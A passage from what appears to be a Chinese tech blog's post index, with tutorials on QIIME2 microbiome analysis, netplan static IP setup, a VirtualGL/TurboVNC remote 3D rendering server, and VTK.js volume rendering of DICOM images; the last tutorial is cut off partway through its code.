引物擴增並定序。我們將把這個分類器應用於我們的序列資料中，這樣即可生成從序列對應到物種的視覺化圖形。\n以自己的樣本準備與定序參數來訓練出來的物種分類器（taxonomic classifiers）表現會是最好的，包含用於擴增（amplification）的引物（primer）以及定序片段（reads）的長度，因此一般來說我們應該依照 q2-feature-classifier 文件的步驟訓練自己的物種分類器。目前 Qiime2 網站有提供一些預先訓練好的分類器可以使用，但未來可能會停止提供，讓使用者自己訓練。\n# 下載 Naive Bayes 分類器 wget -O \u0026#34;gg-13-8-99-515-806-nb-classifier.qza\u0026#34; \u0026#34;https://data.qiime2.org/2019.10/common/gg-13-8-99-515-806-nb-classifier.qza\u0026#34; # 進行物種分類 qiime feature-classifier classify-sklearn --i-classifier gg-13-8-99-515-806-nb-classifier.qza --i-reads rep-seqs.qza --o-classification taxonomy.qza # 產生視覺化表格 qiime metadata tabulate --m-input-file taxonomy.qza --o-visualization taxonomy.qzv 接著產生物種組成長條圖：\n# 產生物種組成長條圖 qiime taxa barplot --i-table table.qza --i-taxonomy taxonomy.qza --m-metadata-file sample-metadata.tsv --o-visualization taxa-bar-plots.qzv 差異豐富度分析 差異豐富度分析這裡採用 ANCOM 方法（q2-composition plugin），使用前要注意這個方法的假設與限制，建議先看一下 ANCOM 原始的論文。\n人類微生物群系的差異豐富度分析還是一個很新的研究領域，Qiime2 有 q2-gneiss 與 q2-composition 兩個 plugin 可以使用，這裡我們採用 q2-composition，若想要了解 q2-gneiss 的用法，可以參考另外一篇 gneiss 的教學文章。\nANCOM 假設不同群體內的特徵差異少於 25%，若不同群組間的特徵差異高於這個比例，則不適合使用 ANCOM 方法（型一誤差與型二誤差皆可能提高），在此例中我們預期身體的不同部位會有較高的差異，所以我們只針對腸道（gut）的樣本進行分析，以 ANCOM 判斷在兩個個體的腸道樣本中，是否存在豐富度差異（？）。\n首先產生腸道（gut）的特徵表（關於篩選資料的方法請參考Filtering data 的教學文件）：\n# 產生腸道（gut）的特徵表 qiime feature-table filter-samples --i-table table.qza --m-metadata-file sample-metadata.tsv --p-where \u0026#34;[body-site]=\u0026#39;gut\u0026#39;\u0026#34; --o-filtered-table gut-table.qza ANCOM 需要 FeatureTable[Composition] 這種資料，其來自於每一個樣本的特徵數量，但是數量不可以是 0。使用 composition add-pseudocount 可以將 FeatureTable[Frequency] 轉為 ANCOM 所需要的 FeatureTable[Composition]（加入假的數量）：\n# 製作 ANCOM 需要的 FeatureTable[Composition]（避免數量為零） qiime composition add-pseudocount --i-table gut-table.qza --o-composition-table comp-gut-table.qza We can then run ANCOM on the subject column to determine what features differ in abundance across the gut samples of the two subjects. 以 ANCOM 方法檢定兩個個體腸道中的樣本是否存在豐富度差異：\n# ANCOM 差異豐富度分析 qiime composition ancom --i-table comp-gut-table.qza --m-metadata-file sample-metadata.tsv --m-metadata-column subject --o-visualization ancom-subject.qzv 我們也可以針對指定的物種分類層級進行差異豐富度分析，只要產含有物種分類資訊的 FeatureTable[Composition] 表格，在重新執行一次 ANCOM 差異豐富度分析即可：\n# 加入物種分類資訊 qiime taxa collapse --i-table gut-table.qza --i-taxonomy taxonomy.qza --p-level 6 --o-collapsed-table gut-table-l6.qza # 製作 ANCOM 需要的 FeatureTable[Composition] qiime composition add-pseudocount --i-table gut-table-l6.qza --o-composition-table comp-gut-table-l6.qza # ANCOM 差異豐富度分析 qiime composition ancom --i-table comp-gut-table-l6.qza --m-metadata-file sample-metadata.tsv --m-metadata-column subject --o-visualization l6-ancom-subject.qzv 參考資料 Microbiome Discovery\nQiime2 QIIME2中文帮助文档 (Chinese Manual) QIIME2 snakemake workflow tutorial \u0026ndash; 18S/16S tag-sequencing QIIME 2 插件工作流程概述 QIIME 2使用者文件. 3老司機上路指南(2018.11) 微生物组16S rRNA数据分析小结: qiime2-2019.1 QIIME2 workflow QIIME 2用戶文檔. 4人體各部位微生物組分析實戰Moving Pictures(2018.11) QIIME 2用戶文檔. 8數據導入Importing data(2018.11) QIIME2 workflow QIIME2 Pipeline Illumina Quality Scores Quality Scores for Next-Generation Sequencing Understanding Illumina Quality Scores 定序原理與概念 NGS 次世代定序常用名詞 微生物標識基因分析｜16S rRNA 定序文庫製備 测序中加入 Phix 的作用 Qiime1-7.去除嵌合体(Chimeras) 三代定序在微生物研究的應用 序列組裝（Wiki） 多樣性分析 微生物多樣性分析｜α多樣性（alpha diversity）的含意與指標 微生物多樣性分析｜β 多樣性（beta diversity）的含意與指標 淺談16S總基因體物種豐富度分析 Rarefaction (ecology) LEfSE 微生物分析系列報導: LEfSe分析\n「Richness」及「Abundance」的差異 「歧異度」與「豐富度」 How do species richness and relative abundance of species affect species diversity? PERMANOVA（adonis）檢定 PERMANOVA 微生物群落差異分析方法大揭秘 R语言做置换多元方差分析（PERMANOVA） 微生物多样性经典图之常用搭配图表解析 R 語言 adonis 函數 Permutational multivariate analysis of variance using distance matrices (adonis) adonis: Permutational Multivariate Analysis of Variance Using… OTU 16S测序，OTU是什么鬼？ 做微生物研究必懂的OTU table相关知识 微生物组16S rRNA数据分析小结：从fastq测序数据到OTU table 微生物體16S擴增子定序 微生物標識基因分析｜16S rRNA 定序文庫製備 微生物體16S擴增子定序 (16S Amplicon Sequencing) DATA2 DADA2 R A full example workflow for amplicon data 微生物相 超强综述 | Rob Knight等手把手教你分析菌群数据(全文翻译1.8万字) ","permalink":"https://blog.gtwang.org/programming/qiime2-next-generation-microbiome-bioinformatics-platform-installation-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Ubuntu Linux 中安裝與使用 QIIME2 微生物組分析流程軟體。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cblockquote class=\"warning\"\u003e\u003cp\u003e本篇是我個人邊學邊記的筆記，內容錯誤百出，僅供參考。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"安裝-miniconda\"\u003e安裝 Miniconda\u003c/h2\u003e\n\u003cp\u003e從 Miniconda 官方網站下載安裝檔：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 下載 Miniconda\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ewget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e執行下載的 Miniconda 安裝檔：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 安裝 Miniconda\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esh Miniconda3-latest-Linux-x86_64.sh\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eMiniconda 預設會安裝在 \u003ccode\u003e$HOME/miniconda3\u003c/code\u003e 目錄之下，安裝好之後，將 \u003ccode\u003econda\u003c/code\u003e 套件更新至最新版本：\u003c/p\u003e","title":"QIIME2 微生物組分析流程軟體安裝與使用研究筆記"},{"content":"本篇介紹如何在 Ubuntu Linux 18.04 伺服器中設定靜態網路 IP 位址。\nnetplan 是 Ubuntu Linux 17.10 開始所提供的一個新網路組態指令工具，可以讓管理者更容易管理 Ubuntu Linux 系統的網路設定，其設定檔採用 YAML 語法，底層可以結合 NetworkManager 或 systemd-networkd 來運作（可以在設定檔的 renderers 指定要用哪一個），算是一種高階的網路操作介面。\nnetplan 會讀取 /etc/netplan 目錄下的 *.yaml 設定檔進行網路的設定，所有的網路設定都會放在這裡。\n設定之前先查看一下系統上所有的網路介面：\n# 列出所有網路介面 ifconfig -a eno1: flags=4098\u0026lt;BROADCAST,MULTICAST\u0026gt; mtu 1500 ether e4:43:4b:20:bd:d8 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eno2: flags=4098\u0026lt;BROADCAST,MULTICAST\u0026gt; mtu 1500 ether e4:43:4b:20:bd:d9 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eno3: flags=4098\u0026lt;BROADCAST,MULTICAST\u0026gt; mtu 1500 ether e4:43:4b:20:bd:da txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device memory 0x9e180000-9e1fffff eno4: flags=4098\u0026lt;BROADCAST,MULTICAST\u0026gt; mtu 1500 ether e4:43:4b:20:bd:db txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device memory 0x9e100000-9e17ffff 確認好網路介面之後，即可開始編輯設定檔。\n一般來說在安裝系統時如果有使用到網路，在 /etc/netplan 目錄下就應該會有基本的設定檔，若完全沒有任何設定檔，可以使用以下指令自動產生預設的設定檔：\n# 產生網路介面設定檔 sudo netplan generate 打開 /etc/netplan/01-netcfg.yaml 這個網路介面設定檔（或是其他的設定檔亦可），將 IP 位址、網路遮罩、預設閘道、DNS 伺服器等資訊填入其中。\n# 網路介面設定檔 network: version: 2 renderer: networkd # 選擇使用 networkd 網路 daemon ethernets: eno4: # 指定網路卡 addresses: [ 192.168.12.34/24 ] # IP 位址與網路遮罩 gateway4: 192.168.12.254 # 預設閘道 nameservers: search: [ your.domain.tw ] # 搜尋網域 addresses: [ 8.8.8.8, 8.8.4.4 ] # DNS 伺服器 設定好之後，測試一下新的網路設定是否有問題：\n# 測試並套用網路介面設定檔 sudo netplan try 執行這行指令之後，若設定檔語法沒問題，就會套用新的設定，並讓管理者進行確認，如果在 120 秒內沒有進行確認，就會自動恢復成原來的網路設定，這個功能可以避免在遠端更改設定時，不小心把自己檔在外面。\n如果在本機直接操作，也可以直接套用新的設定檔：\n# 套用網路介面設定檔 sudo netplan apply 查看網路設定：\n# 查看網路設定 ifconfig eno4 eno4: flags=4163\u0026lt;UP,BROADCAST,RUNNING,MULTICAST\u0026gt; mtu 1500 inet 192.168.12.34 netmask 255.255.255.0 broadcast 192.168.12.255 inet6 2001:e10:2000:17:e643:4bff:fe20:bddb prefixlen 64 scopeid 0x0\u0026lt;global\u0026gt; inet6 fe80::e643:4bff:fe20:bddb prefixlen 64 scopeid 0x20\u0026lt;link\u0026gt; ether e4:43:4b:20:bd:db txqueuelen 1000 (Ethernet) RX packets 14028 bytes 945915 (945.9 KB) RX errors 0 dropped 686 overruns 0 frame 0 TX packets 617 bytes 123948 (123.9 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device memory 0x9e100000-9e17ffff 關於更詳細的設定檔語法說明，請參考 netplan 的線上手冊：\nman netplan 參考資料 Tecmint LINUX 技術手札 ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-1804-configure-network-static-ip-address-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Ubuntu Linux 18.04 伺服器中設定靜態網路 IP 位址。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003enetplan\u003c/code\u003e 是 Ubuntu Linux 17.10 開始所提供的一個新網路組態指令工具，可以讓管理者更容易管理 Ubuntu Linux 系統的網路設定，其設定檔採用 YAML 語法，底層可以結合 NetworkManager 或 systemd-networkd 來運作（可以在設定檔的 \u003ccode\u003erenderers\u003c/code\u003e 指定要用哪一個），算是一種高階的網路操作介面。\u003c/p\u003e","title":"Ubuntu Linux 18.04 設定靜態網路 IP 位址教學"},{"content":"本篇記錄在 Ubuntu Linux 16.04.6 LTS 的 VM 環境之下，安裝 VirtualGL 與 VNC 伺服器，實作遠端 3D 繪圖伺服器的過程。\n安裝 NVIDIA 顯示卡驅動程式 我們的測試環境中，已經有一張 NVIDIA Tesla P40 顯示卡，開始之前先以 lspci 查看一下顯示卡資訊：\n# 查看 NVIDIA GPU 卡型號 lspci | grep NVIDIA 00:05.0 3D controller: NVIDIA Corporation GP102GL [Tesla P40] (rev a1) 安裝前先將所有系統套件更新至最新：\n# 更新系統套件 sudo apt update sudo apt dist-upgrade 安裝 NVIDIA 驅動程式：\n# 安裝 NVIDIA 驅動程式 sudo apt install nvidia-384 重新開機：\n# 重新開機 sudo reboot 查看 NVIDIA 顯示卡狀態：\n# 查看 NVIDIA 顯示卡狀態 nvidia-smi +-----------------------------------------------------------------------------+ | NVIDIA-SMI 384.130 Driver Version: 384.130 | |-------------------------------+----------------------+----------------------+ | GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC | | Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. | |===============================+======================+======================| | 0 Tesla P40 Off | 00000000:00:05.0 Off | 0 | | N/A 30C P0 46W / 250W | 0MiB / 22912MiB | 0% Default | +-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+ | Processes: GPU Memory | | GPU PID Type Process name Usage | |=============================================================================| | No running processes found | +-----------------------------------------------------------------------------+ 在此輸出中有顯示 NVIDIA Tesla P40 顯示卡的狀態，表示驅動程式已經可以正常運作。\n設定 NVIDIA 顯示卡與 xorg.conf 對於沒有顯示輸出介面的 Tesla 顯示卡在安裝 VirtualGL 之前，必須先特別設定 xorg.conf，詳細說明請參考 VirtualGL 的文件。\n先取得 NVIDIA GPU 的匯流排（bus）ID：\n# 取得 NVIDIA GPU 的匯流排 ID nvidia-xconfig --query-gpu-info Number of GPUs: 1 GPU #0: Name : Tesla P40 UUID : GPU-31680fad-6351-37f7-fb7b-dcced2444d1a PCI BusID : PCI:0:5:0 Number of Display Devices: 0 查到匯流排 ID 之後，設定 xorg.conf：\n# 設定 xorg.conf sudo nvidia-xconfig -a --allow-empty-initial-configuration --virtual=1920x1200 --busid PCI:0:5:0 這行指令會自動產生一個新的 /etc/X11/xorg.conf。\n雖然 VirtualGL 官方文件上說要指定匯流排 ID，但是我在 Ubuntu Linux 中實測的結果是可以不需要指定的，它會自動抓取所有顯示卡的匯流排 ID，如果有多張顯示卡，就可以用這種方式一次設定好所有的顯示卡：\n# 設定 xorg.conf sudo nvidia-xconfig -a --allow-empty-initial-configuration --virtual=1920x1200 但如果在 CentOS Linux 中，這樣自動抓取匯流排 ID 的方式可能會無法使用，就要改回上面手動指定的方式。\n安裝 VirtualGL 與 TurboVNC 從 VirtualGL 與 TurboVNC 官方網站下載安裝套件：\n# 下載 VirtualGL wget https://nchc.dl.sourceforge.net/project/virtualgl/2.6.3/virtualgl_2.6.3_amd64.deb # 下載 libjpeg-turbo wget https://nchc.dl.sourceforge.net/project/libjpeg-turbo/2.0.3/libjpeg-turbo-official_2.0.3_amd64.deb # 下載 TurboVNC wget https://nchc.dl.sourceforge.net/project/turbovnc/2.2.3/turbovnc_2.2.3_amd64.deb 先安裝兩個必要的套件：\n# 安裝套件 sudo apt install libglu1-mesa mesa-utils 安裝下載的三個套件：\n# 安裝套件 sudo dpkg -i libjpeg-turbo-official_2.0.3_amd64.deb virtualgl_2.6.3_amd64.deb turbovnc_2.2.3_amd64.deb 設定 VirtualGL 之前，要先停止 XWindow 相關服務：\n# 停止 lightdm 服務 sudo service lightdm stop 設定 VirtualGL，全部都以預設值設定即可：\n# 設定 VirtualGL sudo vglserver_config 將 root 與要使用 VirtualGL 的使用者帳號加入 vglusers 群組：\n# 將 root 與一般使用者帳號加入 vglusers 群組 sudo usermod --groups vglusers root sudo usermod --groups vglusers ubuntu 重新啟動 lightdm 服務：\n# 啟動 lightdm 服務 sudo service lightdm start 登出之後，再重新登入。合併系統 xauth 金鑰：\n# 合併系統 xauth 金鑰 xauth merge /etc/opt/VirtualGL/vgl_xauth_key CentOS Linux 系統下的 SELinux 可能會讓 vgl_xauth_key 這個檔案無法產生，若遇到找不到該檔案時，請嘗試將 SELinux 關閉，或是調整 SELinux 設定。\n檢查 VirtualGL 環境：\n# 檢查 VirtualGL 環境 xdpyinfo -display :0 /opt/VirtualGL/bin/glxinfo -display :0 -c [略] OpenGL vendor string: NVIDIA Corporation OpenGL renderer string: Tesla P40/PCIe/SSE2 OpenGL core profile version string: 4.5.0 NVIDIA 384.130 OpenGL core profile shading language version string: 4.50 NVIDIA [略] 若有出現 NVIDIA 顯示卡的型號資訊，就表示已經可以利用伺服器的顯示卡進行 OpenGL 加速了。\n桌面環境 先安裝自己需要的桌面環境，若不需要桌面環境，亦可不安裝：\n# 安裝 XFCE 桌面環境 apt install xfce4 xfce4 只有包含基本桌面環境，如果需要各種桌面應用程式，可以改裝 xubuntu-desktop 套件。\n啟動 TurboVNC 伺服器：\n# 啟動 TurboVNC 伺服器 /opt/TurboVNC/bin/vncserver 啟動桌面環境：\n# 啟動 XFCE 桌面環境 export DISPLAY=:1 startxfce4 若要讓 TurboVNC 啟動時自動執行 XFCE 桌面，可以直接將啟動指令寫在 $HOME/.vnc/xstartup.turbovnc 指令稿中，例如：\n#!/bin/sh # 啟動 XFCE 桌面環境 /usr/bin/startxfce4 在桌面環境中，以 vglrun 執行各種需要 OpenGL 硬體加速的應用程式，即可利用伺服器上面的顯示卡繪製 3D 圖形。\n這是以 Paraview 顯示 Volume 影像資料的狀況。\n如果系統上有多張 GPU 卡，可以加上 -d 參數來指定要使用的 GPU 卡：\n# 使用第一張 GPU 卡執行 glxgears vglrun -d :0.0 glxgears # 使用第二張 GPU 卡執行 glxgears vglrun -d :0.1 glxgears 若要停止 TurboVNC 伺服器，則執行：\n# 停止 TurboVNC 伺服器 /opt/TurboVNC/bin/vncserver -kill :1 noVNC noVNC 是一個簡單好用的網頁 VNC client，可讓使用者不需要另外安裝 VNC 軟體即可透過瀏覽器操作 VNC 桌面。\n先在伺服器上安裝 noVNC 套件：\n# 安裝 noVNC 套件 sudo apt install novnc 然後啟動 noVNC 伺服器，將網頁開在 6080 連接埠：\n# 啟動 noVNC 伺服器 websockify -D --web=/usr/share/novnc/ 6080 localhost:5901 以 noVNC 網頁開啟 VNC 桌面會像這樣。\n在防火牆的設定上，除了開 noVNC 網頁的 6080 連接埠，還要再開一個 WebSocket 用的 5801 連接埠，而如果不使用一般的 VNC client 的話，VNC 用的 5901 可以不開。\n參考資料 DigitalOcean ","permalink":"https://blog.gtwang.org/linux/nvidia-tesla-p40-virtualgl-vnc-remote-3d-rendering-server-installation/","summary":"\u003cp\u003e本篇記錄在 Ubuntu Linux 16.04.6 LTS 的 VM 環境之下，安裝 VirtualGL 與 VNC 伺服器，實作遠端 3D 繪圖伺服器的過程。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"安裝-nvidia-顯示卡驅動程式\"\u003e安裝 NVIDIA 顯示卡驅動程式\u003c/h2\u003e\n\u003cp\u003e我們的測試環境中，已經有一張 NVIDIA Tesla P40 顯示卡，開始之前先以 \u003ccode\u003elspci\u003c/code\u003e 查看一下顯示卡資訊：\u003c/p\u003e","title":"NVIDIA Tesla P40 以 VirtualGL + VNC 實做遠端 3D 繪圖伺服器記錄"},{"content":"本篇介紹如何使用 VTK.js 在網頁上顯示三維的 DICOM 生醫 volume 影像。\nVTK.js 是 JavaScript 版本的 VTK 函式庫，架構與概念都跟傳統的 VTK 函式庫非常類似，而且功能也都非常齊全，用來再往業上顯示 3D 的科學或生醫影像非常好用。\n以下介紹如何從無到有，利用 VTK.js 在網頁上顯示 3D 的 DICOM醫學影像。\n基本 VTK.js 應用程式架構 在使用 VTK.js 撰寫程式之前，要建立基本的 VTK.js 應用程式專案架構。首先建立新的專案目錄（名稱可隨意取）：\n# 建立專案目錄 mkdir vtkjs_dicom 進入專案目錄，初始化專案：\n# 初始化專案 cd vtkjs_dicom/ npm init 在執行 npm 初始化專案時，會需要輸入一連串的設定值，除了 entry point（預設為 index.js）要改為 src/index.js 之外，其餘都用預設值即可，產生的 package.json 內容會像這樣：\n{ \u0026#34;name\u0026#34;: \u0026#34;vtkjs_dicom\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;main\u0026#34;: \u0026#34;src/index.js\u0026#34;, \u0026#34;scripts\u0026#34;: { \u0026#34;test\u0026#34;: \u0026#34;echo \\\u0026#34;Error: no test specified\\\u0026#34; \u0026amp;\u0026amp; exit 1\u0026#34; }, \u0026#34;author\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;license\u0026#34;: \u0026#34;ISC\u0026#34; } 在專案目錄中，安裝 VTK.js 與相關必要套件：\n# 安裝 VTK.js 與相關必要套件 npm install vtk.js --save npm install kw-web-suite --save-dev 接著在 package.json 中加入下設定：\n\u0026#34;scripts\u0026#34;: { \u0026#34;build\u0026#34;: \u0026#34;webpack --progress --colors --mode development\u0026#34;, \u0026#34;build:release\u0026#34;: \u0026#34;webpack --progress --colors --mode production\u0026#34;, \u0026#34;start\u0026#34;: \u0026#34;webpack-dev-server --content-base ./dist\u0026#34;, \u0026#34;commit\u0026#34;: \u0026#34;git cz\u0026#34;, \u0026#34;semantic-release\u0026#34;: \u0026#34;semantic-release\u0026#34; } 建立 webpack.config.js 設定檔，內容如下：\nvar path = require(\u0026#39;path\u0026#39;); var webpack = require(\u0026#39;webpack\u0026#39;); var vtkRules = require(\u0026#39;vtk.js/Utilities/config/dependency.js\u0026#39;).webpack.core.rules; // 載入 *.css 與 *.module.css 檔案 var cssRules = require(\u0026#39;vtk.js/Utilities/config/dependency.js\u0026#39;).webpack.css.rules; var entry = path.join(__dirname, \u0026#39;./src/index.js\u0026#39;); const sourcePath = path.join(__dirname, \u0026#39;./src\u0026#39;); const outputPath = path.join(__dirname, \u0026#39;./dist\u0026#39;); module.exports = { entry, output: { path: outputPath, filename: \u0026#39;MyWebApp.js\u0026#39;, }, module: { rules: [ { test: /.html$/, loader: \u0026#39;html-loader\u0026#39; }, ].concat(vtkRules, cssRules), }, resolve: { modules: [ path.resolve(__dirname, \u0026#39;node_modules\u0026#39;), sourcePath, ], }, }; 最後建立放置原始碼的 src 目錄，以及放置發布網頁的 dist 目錄：\n# 建立原始碼與發布網頁的目錄 mkdir src mkdir dist 這樣就完成基本的 VTK.js 開發環境與架構了，在開發 VTK.js 網頁應用程式時，所有的原始碼都放在 src 目錄裡面，而編譯出來的結果則會放在 dist 目錄之下。\nVTK.js 顯示 Volume 影像 參考 VTK.js 官方的 VolumeMapper 範例，建立一個簡單版的 volume mapper 應用程式如下，將這一段 JavaScript 程式碼儲存為 src/index.js：\nimport vtkColorTransferFunction from \u0026#39;vtk.js/Sources/Rendering/Core/ColorTransferFunction\u0026#39;; import vtkFullScreenRenderWindow from \u0026#39;vtk.js/Sources/Rendering/Misc/FullScreenRenderWindow\u0026#39;; import vtkXMLImageDataReader from \u0026#39;vtk.js/Sources/IO/XML/XMLImageDataReader\u0026#39;; import vtkPiecewiseFunction from \u0026#39;vtk.js/Sources/Common/DataModel/PiecewiseFunction\u0026#39;; import vtkVolume from \u0026#39;vtk.js/Sources/Rendering/Core/Volume\u0026#39;; import vtkVolumeMapper from \u0026#39;vtk.js/Sources/Rendering/Core/VolumeMapper\u0026#39;; // 標準 VTK 程式架構 const fullScreenRenderer = vtkFullScreenRenderWindow.newInstance({ background: [0.1, 0.1, 0.1], // 背景顏色 }); const renderer = fullScreenRenderer.getRenderer(); const renderWindow = fullScreenRenderer.getRenderWindow(); const reader = vtkXMLImageDataReader.newInstance(); const actor = vtkVolume.newInstance(); const mapper = vtkVolumeMapper.newInstance(); actor.setMapper(mapper); mapper.setInputConnection(reader.getOutputPort()); // 建立色彩與透明度函數 const ctfun = vtkColorTransferFunction.newInstance(); ctfun.addRGBPoint(0, 0, 0, 0); ctfun.addRGBPoint(255, 1.0, 1.0, 1.0); const ofun = vtkPiecewiseFunction.newInstance(); ofun.addPoint(50.0, 0.0); ofun.addPoint(255.0, 1.0); // 設定色彩與透明度函數 actor.getProperty().setRGBTransferFunction(0, ctfun); actor.getProperty().setScalarOpacity(0, ofun); // 設定影像載入器 reader.setUrl(`data/headsq.vti`).then(() =\u0026gt; { reader.loadData().then(() =\u0026gt; { renderer.addVolume(actor); const interactor = renderWindow.getInteractor(); // 設定旋轉、縮放等動作時，畫面更新頻率 interactor.setDesiredUpdateRate(15.0); renderer.resetCamera(); // 設定 Camera 初始角度 renderer.getActiveCamera().zoom(1.3); renderer.getActiveCamera().elevation(70); renderWindow.render(); }); }); // ----------------------------------------------------- // 將一些變數儲存為全域變數，可讓開發者直接在瀏覽器中 // 查看變數內容，方便除錯。 // ----------------------------------------------------- global.source = reader; global.mapper = mapper; global.actor = actor; global.ctfun = ctfun; global.ofun = ofun; global.renderer = renderer; global.renderWindow = renderWindow; 這裡為了一開始開發方便，我先把 HttpDataSetReader 換成 XMLImageDataReader，這樣就可以直接拿一般的 vti 影像來測試，不用在這時候處理影像轉檔，先確認基本的程式是可以正常執行的。\n設定影像載入器的部份，我直接將測試用的 vti 影像的檔案名稱寫在程式碼之中，這裡用的是 VTK 官方的 headsq.vti 測試影像（也可以自己更換），而這個檔案請自己放在 dist 目錄下對應的位置，以本例來說就是 dist/data/headsq.vti。\n接著建立 dist/index.html 網頁檔，原始碼如下：\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Content-type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34;/\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;MyWebApp.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在專案目錄中，以 npm 編譯程式：\n# 編譯程式 npm run build 若編譯成功，就可以啟動開發用網頁伺服器，觀看結果：\n# 啟動開發用網頁伺服器 npm start 開發用網頁伺服器預設會開在 http://localhost:8080/，以瀏覽器打開這個網址就可以看到 volume 的影像了，而這個 3D 的 volume 影像可以自由旋轉或縮放，至於顏色與透明度等屬性，可以自己從程式中慢慢調整。\n在 npm start 執行的期間，會自動檢查原始碼有無更動，必要時會自動更新結果，所以開發者可以一邊修改原始碼，一邊查看即時更新的網頁結果，這個功能非常好用，可以讓開發過程更順暢。\nHttpDataSet 影像格式 HttpDataSetReader 是 VTK.js 專門為網頁所設計的影像載入器，其採用的 HttpDataSet 影像格式很特殊，每一個影像都是以一個 JSON metadata 檔案配合對應的二進位檔來儲存，這種設計可以提升影像透過網頁載入的速度，而缺點就是一般的影像都需要經過格式的轉換之後，才能放進來使用。\n若要將一般的影像轉換為 HttpDataSet 格式，可以使用 VTK.js 所提供的轉檔工具來處理，不過使用之前要先安裝 Paraview 這套軟體，安裝好 Paraview 之後，利用 Paraview 的 pvpython 來執行 VTK.js 所提供的 vtk-data-converter.py 指令稿，即可進行格式的轉換：\n# 將 VTI 影像檔轉換為 HttpDataSet 格式 pvpython -dr node_modules/vtk.js/Utilities/DataGenerator/vtk-data-converter.py --input dist/data/headsq.vti --output dist/data/HttpDataSet VTK.js 還有提供另外一個 JavaScript 版本的轉換工具，不過它內部其實也是呼叫 vtk-data-converter.py，所以效果是一樣的：\n# 將 VTI 影像檔轉換為 HttpDataSet 格式 node node_modules/vtk.js/Utilities/DataGenerator/convert-cli.js --input dist/data/headsq.vti --output dist/data/HttpDataSet --paraview ~/ParaView-5.7.0-MPI-Linux-Python3.7-64bit/ 將影像格式轉換為 HttpDataSet 之後，接著就可以修改 src/index.js，將 XMLImageDataReader 改為 HttpDataSetReader，直接載入 HttpDataSet 格式的影像：\nimport vtkColorTransferFunction from \u0026#39;vtk.js/Sources/Rendering/Core/ColorTransferFunction\u0026#39;; import vtkFullScreenRenderWindow from \u0026#39;vtk.js/Sources/Rendering/Misc/FullScreenRenderWindow\u0026#39;; import vtkHttpDataSetReader from \u0026#39;vtk.js/Sources/IO/Core/HttpDataSetReader\u0026#39;; // 使用 HttpDataSetReader import vtkPiecewiseFunction from \u0026#39;vtk.js/Sources/Common/DataModel/PiecewiseFunction\u0026#39;; import vtkVolume from 